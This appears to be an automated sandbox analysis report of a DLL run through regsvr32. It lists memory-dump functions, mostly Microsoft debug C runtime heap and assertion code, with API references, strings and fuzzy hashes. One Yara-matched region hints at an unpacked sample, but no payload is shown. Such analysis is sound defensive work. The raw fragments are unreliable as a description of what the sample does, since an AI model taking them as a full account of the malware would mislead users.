Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExitProcess$AllocateHeap__crt
String ID:
API String ID: 4215626177-0
Opcode ID: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction ID: 018cd22ed3aaffe80bc67b356604b0c029bcf26b5d2cff022e0890546f5cf117
Opcode Fuzzy Hash: 77cc9cc60f8eca6ccffa51c036cc335ce9466cc401fd995fa093edd43c12ab32
Instruction Fuzzy Hash: AFE04F2490898683E7A49726E80037D63E0FB84348F614036D7CE026F5CF2FE840E601

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24399 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E000007FE7FEF9D24399(long long __rax, long long _a48, intOrPtr _a80, intOrPtr _a88, void* _a120) {

				_a48 = __rax;
				if (_a48 == 0) goto 0xf9d243ad;
				goto 0xf9d243f5;
				if (_a88 != 0) goto 0xf9d243ce;
				if (_a120 == 0) goto 0xf9d243c7;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				if (E000007FE7FEF9D2ABB0(_a48, _a80) != 0) goto 0xf9d243f3;
				if (_a120 == 0) goto 0xf9d243ef;
				 *_a120 = 0xc;
				goto 0xf9d243f5;
				goto 0xf9d24377;
				return 0;
			}

0x7fef9d24399
0x7fef9d243a4
0x7fef9d243ab
0x7fef9d243b2
0x7fef9d243ba
0x7fef9d243c1
0x7fef9d243cc
0x7fef9d243da
0x7fef9d243e2
0x7fef9d243e9
0x7fef9d243f1
0x7fef9d243f3
0x7fef9d243f9

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction ID: 1adc9abf0de1c3ca8893cd90e215b0d97e51771cadcbd8eff06287440f46b9d2
Opcode Fuzzy Hash: 1ac0a5da81333129a8f229358abc3f3628bfe7ae3225332448e9bf5308d83ad5
Instruction Fuzzy Hash: 8B01B332A5CB41C6F7A08A55E84472EA7E0F7C4794F321121AECD42BB8CB7DE440CA00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23471 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23496

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _ioterm
String ID:
API String ID: 4163092671-0
Opcode ID: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction ID: 7377a742d64af20529275359c4a94eabcf7c0d21081332a84b693dd33c507e1a
Opcode Fuzzy Hash: ccd1307e9d50970cca75b27b642d85769dad3e23086d7af9cb1c5234e8638c27
Instruction Fuzzy Hash: F4F03720C0C10789FAE16778AC0A37CA1D1A711B91F3252F5A0DC821F2D77FB54A8A12

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23433 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

_ioterm.LIBCMTD ref: 000007FEF9D23437

Part of subcall function 000007FEF9D27D00: DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2343C), ref: 000007FEF9D27D93

Part of subcall function 000007FEF9D23E00: FlsFree.KERNEL32 ref: 000007FEF9D23E13
Part of subcall function 000007FEF9D23E00: _mtdeletelocks.LIBCMTD ref: 000007FEF9D23E23

Part of subcall function 000007FEF9D288D0: HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 18d5f63124407e78997e2f664e67049843f9c9ac3d7a6681d0ffcba3130af5de
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 50E06760E0C1439AF6D567B46C423BD91D06B54BC1FB245B2A1CE862F3EA5FB8014662

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D288D0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction ID: df5636f5ee55eb5a1123ad47329e94e2a1af4504a4e9b44811c9c5941fd1bffd
Opcode Fuzzy Hash: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction Fuzzy Hash: 6CC04C64D15A01C1EA445726FC8536822A06394745FA0C021C5CD012308B2F55968701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D00 Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction ID: 5c830059afc01ab3dffeb0f702370a5898bb96dd38ab511ff450623a486f5942
Opcode Fuzzy Hash: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction Fuzzy Hash: F1A00224F16591D7DAAC373A5D9713D11A06B68709FF05869C74F40261CE2F92FE8B05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF9D30215 Relevance: 89.7, APIs: 29, Strings: 22, Instructions: 441COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D3024C
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30279
OutputDebugStringW.KERNEL32 ref: 000007FEF9D30285
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302BF
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302CC
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302DA
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302E7
_wcsftime_l.LIBCMTD ref: 000007FEF9D30352
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D303AA
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30408
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30484
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D304CB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30538
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D3057E
_snwprintf_s.LIBCMTD ref: 000007FEF9D305F5
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D3064D
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D306AB
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D30764
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D307B8
_unlock.LIBCMTD ref: 000007FEF9D30900

Strings

wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 000007FEF9D3047B
Assertion failed: , xrefs: 000007FEF9D30422
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D306A2
<file unknown>, xrefs: 000007FEF9D302A8
Second Chance Assertion Failed: File , xrefs: 000007FEF9D3027E
, Line , xrefs: 000007FEF9D302C5
P, xrefs: 000007FEF9D30AC6
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D303C7, 000007FEF9D3066A
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D307AF
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30750
_VCrtDbgReportW, xrefs: 000007FEF9D30269, 000007FEF9D3038A, 000007FEF9D303F8, 000007FEF9D30474, 000007FEF9D304BB, 000007FEF9D30528, 000007FEF9D3056E, 000007FEF9D3062D, 000007FEF9D3069B, 000007FEF9D30744, 000007FEF9D307A8, 000007FEF9D30A90, 000007FEF9D30C0E
%s(%d) : %s, xrefs: 000007FEF9D305DB
Assertion failed!, xrefs: 000007FEF9D30433
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D304C2
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 000007FEF9D3052F
(*_errno()), xrefs: 000007FEF9D30396, 000007FEF9D30639
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D303FF
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 000007FEF9D30575
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D30262, 000007FEF9D3037E, 000007FEF9D303F1, 000007FEF9D3046D, 000007FEF9D304B4, 000007FEF9D30521, 000007FEF9D30567, 000007FEF9D30621, 000007FEF9D30694, 000007FEF9D30738, 000007FEF9D307A1, 000007FEF9D30A84, 000007FEF9D30C07
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D30270, 000007FEF9D30C15
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30A9C
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D3077A

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_snwprintf_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 4197005980-4190456261
Opcode ID: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction ID: 631fc2af3d1e2e358681470289229c30ebeab24735d73449bcceef6109dc099e
Opcode Fuzzy Hash: 4879bfb960a2721f9666c96030d6b34d6758162388cb50bc2d04b6b5102aed05
Instruction Fuzzy Hash: 6B421031A0CA8685EBB0CB14E8547EE73E4F784345FA04226D6CD43AA9DF7EE549CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30CC0 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

LoadLibraryW.KERNEL32 ref: 000007FEF9D30D2A
GetProcAddress.KERNEL32 ref: 000007FEF9D30D50
DecodePointer.KERNEL32 ref: 000007FEF9D30E40
DecodePointer.KERNEL32 ref: 000007FEF9D30E52
DecodePointer.KERNEL32 ref: 000007FEF9D30F67

Strings

GetUserObjectInformationA, xrefs: 000007FEF9D30DC0
GetProcessWindowStation, xrefs: 000007FEF9D30DF3
USER32.DLL, xrefs: 000007FEF9D30D23
GetActiveWindow, xrefs: 000007FEF9D30D7C
GetLastActivePopup, xrefs: 000007FEF9D30D9E
MessageBoxA, xrefs: 000007FEF9D30D44

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2256938910-232180764
Opcode ID: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction ID: c20bf9db26653c31616cb8f8a39641649b62d884e8934e9a70f617ae2971618d
Opcode Fuzzy Hash: 7f66a9951f4a4371a03f8907a7d8dae5388e10f0167802e39e15e0e0cc6986ee
Instruction Fuzzy Hash: 9A81C631A19B8686E7A09B19FC4436EB3E0F784755F608135DACE426B8DF7EE448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24A70 Relevance: 30.3, APIs: 2, Strings: 15, Instructions: 504COMMONLIBRARYCODE

Download Yara Rule

Strings

Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D24CC6
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D24E30
Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24D7D
_pLastBlock == pOldBlock, xrefs: 000007FEF9D25226
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D24B38, 000007FEF9D24E45, 000007FEF9D24EB7, 000007FEF9D251C0, 000007FEF9D2523B, 000007FEF9D252A9
_CrtCheckMemory(), xrefs: 000007FEF9D24B23
_pFirstBlock == pOldBlock, xrefs: 000007FEF9D25294
Client hook re-allocation failure at file %hs line %d., xrefs: 000007FEF9D24C00
Error: possible heap corruption at or near 0x%p, xrefs: 000007FEF9D24F22
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24D55
The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 000007FEF9D24DE7
pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ, xrefs: 000007FEF9D24EA2
fRealloc || (!fRealloc && pNewBlock == pOldBlock), xrefs: 000007FEF9D251AB
Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24C94
Client hook re-allocation failure., xrefs: 000007FEF9D24C25

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$Invalid allocation size: %Iu bytes.$Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$_pFirstBlock == pOldBlock$_pLastBlock == pOldBlock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$fRealloc || (!fRealloc && pNewBlock == pOldBlock)$pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ
API String ID: 0-1181733849
Opcode ID: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction ID: c027552587c484905274aa3c7dfc2130a2bba284c4db387798f357193d3a2f5b
Opcode Fuzzy Hash: 0b4b4e85d1eb3ae1a0b395440fade81dc617beeaf4b680a727513a857c3a72e7
Instruction Fuzzy Hash: B3421035A0DB8685EBA08B69E88076E77E0F785794F214136DADD83BB4DB7ED440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D253FB Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D254D9
_free_base.LIBCMTD ref: 000007FEF9D2583F

Strings

Client hook free failure., xrefs: 000007FEF9D254A0
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2573C
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D254E2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D254F7, 000007FEF9D2556D, 000007FEF9D257FE
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 000007FEF9D257E9
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25683
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D2579F
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 000007FEF9D2542B
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25620
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25558

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid_free_base
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ
API String ID: 1656799702-182684663
Opcode ID: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction ID: 30c4da0a101ad128366c20b2541b857d1a248eb6f856515bedc9f5e1dcd2840f
Opcode Fuzzy Hash: 708cd418722caba3a196df14d36aa04cdda5776576cdf5b3aec82fe9c7f2493c
Instruction Fuzzy Hash: 58C16E36A18B4586EBA48B59E88076EB7E0F785790F614536EACD43BB4DB7ED401CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25CAD Relevance: 17.8, Strings: 14, Instructions: 322COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
_heapchk fails with _HEAPBADEND., xrefs: 000007FEF9D25D4D
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
_heapchk fails with unknown return value!, xrefs: 000007FEF9D25DAF
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 000007FEF9D260FA
_heapchk fails with _HEAPBADNODE., xrefs: 000007FEF9D25D19
DAMAGED, xrefs: 000007FEF9D25E7D
_heapchk fails with _HEAPBADBEGIN., xrefs: 000007FEF9D25CE5
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25F42
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D26030
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
_1, xrefs: 000007FEF9D261FC
_heapchk fails with _HEAPBADPTR., xrefs: 000007FEF9D25D7E

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).$_heapchk fails with _HEAPBADBEGIN.$_heapchk fails with _HEAPBADEND.$_heapchk fails with _HEAPBADNODE.$_heapchk fails with _HEAPBADPTR.$_heapchk fails with unknown return value!$_1
API String ID: 0-510578482
Opcode ID: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction ID: 2e3929c610d79aeb9f6375ea398ef70322b77c1420209f8d6f9956d4446a531d
Opcode Fuzzy Hash: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction Fuzzy Hash: A6E13F36A18B5586EBA4CB69E88072EB7E0F384754F614526EACD43BB4DB7ED051CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FFC0 Relevance: 15.0, Strings: 11, Instructions: 1219COMMON

Download Yara Rule

Strings

:F&, xrefs: 0000000180010676
E, xrefs: 0000000180010000
Jq-., xrefs: 00000001800107C4
K, xrefs: 0000000180010D55
#r5|, xrefs: 0000000180011B12
sg, xrefs: 0000000180010713
kJ, xrefs: 00000001800100F8
K, xrefs: 00000001800117C0
Y], xrefs: 0000000180010F2D
:B), xrefs: 0000000180011CBB
kJ, xrefs: 0000000180011662

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E$#r5|$:B)$:F&$Jq-.$K$K$Y]$kJ$kJ$sg
API String ID: 0-2241473280
Opcode ID: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction ID: 9c682bca3309bc02ed949a6de7aa3bb6d22b0761abc13177b84899e0b503d48e
Opcode Fuzzy Hash: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
